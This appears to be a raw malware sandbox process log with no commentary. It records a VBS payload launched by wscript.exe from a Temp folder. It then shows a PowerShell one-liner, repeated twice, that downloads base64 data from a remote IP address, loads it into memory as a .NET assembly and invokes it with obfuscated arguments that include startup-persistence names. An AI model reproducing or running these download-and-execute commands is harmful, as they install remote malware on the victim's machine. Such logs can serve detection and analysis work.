wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\droidddxxxPayload.vbs
416cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}nmz◀@+@░�@@*(+ø(!}(ú░}mz◀@+@░�@@*(+ø(!}(ú░}zmn◀@+@░�@@v*(+ø(n4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
2164powershell.exe powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}nmz◀@+@░�@@*(+ø(!}(ú░}mz◀@+@░�@@*(+ø(!}(ú░}zmn◀@+@░�@@v*(+ø(n4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
2256